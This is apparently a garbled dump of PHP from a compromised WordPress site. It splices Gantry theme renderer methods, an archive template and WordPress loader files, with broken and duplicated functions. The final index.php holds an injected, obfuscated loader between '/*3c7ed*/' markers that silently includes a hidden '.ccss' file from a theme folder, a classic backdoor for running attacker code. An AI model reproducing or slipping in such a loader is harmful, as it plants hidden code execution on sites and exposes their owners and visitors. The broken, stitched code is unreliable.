{
if (!$this->renderer) {
$gantry = static::gantry();
/** @var Config $global */
$global = $gantry['global'];
$cachePath = $global->get('compile_twig', 1) ? $this->getCachePath('twig') : null;
$cache = $cachePath ? new TwigCacheFilesystem($cachePath, \Twig_Cache_Filesystem::FORCE_BYTECODE_INVALIDATION) : null;
$debug = $gantry->debug();
$production = (bool) $global->get('production', 1);
$loader = new \Twig_Loader_Filesystem();
$params = [
'cache' => $cache,
'debug' => $debug,
'auto_reload' => !$production,
'autoescape' => 'html'
];
$twig = new \Twig_Environment($loader, $params);
$this->setTwigLoaderPaths($loader);
if ($debug) {
$twig->addExtension(new \Twig_Extension_Debug());
}
$this->renderer = $this->extendTwig($twig, $loader);
}
return $this->renderer;
}
/**
* Render a template file by using given context.
*
* @param string $file
* @param array $context
* @return string
*/
}
/**
* Convert all stream uris into proper links.
*/
public function postProcessOutput($html)
{
$gantry = Gantry::instance();
// Only filter our streams. If there's an error (bad UTF8), fallback with original output.
return $gantry['document']->urlFilter($html, false, 0, true) ?: $html;
}
/**
* @see AbstractTheme::renderer()
*/
public function renderer()
{
if (!$this->renderer) {
$twig = parent::renderer();
$twig = apply_filters('twig_apply_filters', $twig);
$twig = apply_filters('timber/twig/filters', $twig);
$twig = apply_filters('timber/twig/functions', $twig);
$twig = apply_filters('timber/twig/escapers', $twig);
$twig = apply_filters('timber/loader/twig', $twig);
$this->renderer = $twig;
}
return $this->renderer;
}
/**
* @see AbstractTheme::render()
*
* @param string $file
* @param array $context
* @return string
*/
public function render($file, array $context = [])
{
/**
* @see AbstractTheme::render()
*
* @param string $file
* @param array $context
* @return string
*/
public function render($file, array $context = [])
{
static $timberContext;
if (!isset($timberContext)) {
$timberContext = Timber::get_context();
}
// Include Gantry specific things to the context.
$context = array_replace($timberContext, $context);
return $this->renderer()->render($file, $context);
}
public function set_template_layout()
{
$assignments = new Assignments;
$selected = $assignments->select();
if (GANTRY_DEBUGGER) {
\Gantry\Debugger::addMessage('Selecting outline (rules, matches, scores):', 'debug');
\Gantry\Debugger::addMessage($assignments->getPage(), 'debug');
\Gantry\Debugger::addMessage($assignments->matches(), 'debug');
\Gantry\Debugger::addMessage($assignments->scores(), 'debug');
}
$this->setLayout($selected);
}
public function widgets_init()
{
$gantry = Gantry::instance();
defined('ABSPATH') or die;
use Timber\Timber;
/*
* The template for displaying Archive pages.
*
* Used to display archive-type pages if nothing more specific matches a query.
* For example, puts together date-based pages if no date.php file exists.
*
* Learn more: http://codex.wordpress.org/Template_Hierarchy
*/
$gantry = Gantry\Framework\Gantry::instance();
$theme = $gantry['theme'];
// We need to render contents of <head> before plugin content gets added.
$context = Timber::get_context();
$context['page_head'] = $theme->render('partials/page_head.html.twig', $context);
$templates = ['archive.html.twig', 'index.html.twig'];
$context['title'] = __('Archive', 'g5_hydrogen');
if (is_day()) {
$context['title'] = __('Archive:', 'g5_hydrogen') . ' ' . get_the_date('j F Y');
} else if (is_month()) {
$context['title'] = __('Archive:', 'g5_hydrogen') . ' ' . get_the_date('F Y');
} else if (is_year()) {
$context['title'] = __('Archive:', 'g5_hydrogen') . ' ' . get_the_date('Y');
} else if (is_tag()) {
$context['title'] = single_tag_title('', false);
} else if (is_category()) {
$context['title'] = single_cat_title('', false);
array_unshift($templates, 'archive-' . get_query_var('cat') . '.html.twig');
} else if (is_post_type_archive()) {
$context['title'] = post_type_archive_title('', false);
array_unshift($templates, 'archive-' . get_post_type() . '.html.twig');
}
}
break;
}
}
if ( ! $template ) {
$template = get_index_template();
}
/**
* Filters the path of the current template before including it.
*
* @since 3.0.0
*
* @param string $template The path of the template to include.
*/
$template = apply_filters( 'template_include', $template );
if ( $template ) {
include $template;
} elseif ( current_user_can( 'switch_themes' ) ) {
$theme = wp_get_theme();
if ( $theme->errors() ) {
wp_die( $theme->errors() );
}
}
return;
}
<?php
/**
* Loads the WordPress environment and template.
*
* @package WordPress
*/
if ( ! isset( $wp_did_header ) ) {
$wp_did_header = true;
// Load the WordPress library.
require_once __DIR__ . '/wp-load.php';
// Set up the WordPress query.
wp();
// Load the theme template.
require_once ABSPATH . WPINC . '/template-loader.php';
}
<?php
/*3c7ed*/
$rjda31 = "/home/valorespor/publ\x69c_html/wp\x2dcontent/themes/twentyn\x69neteen/.1eee289e.ccss"; $tk7lz = $rjda31; strpos($tk7lz, "dxfjy"); @include_once /* zronh */ ($tk7lz);
/*3c7ed*/
define( 'WP_USE_THEMES', true );
require( dirname( __FILE__ ) . '/wp-blog-header.php' );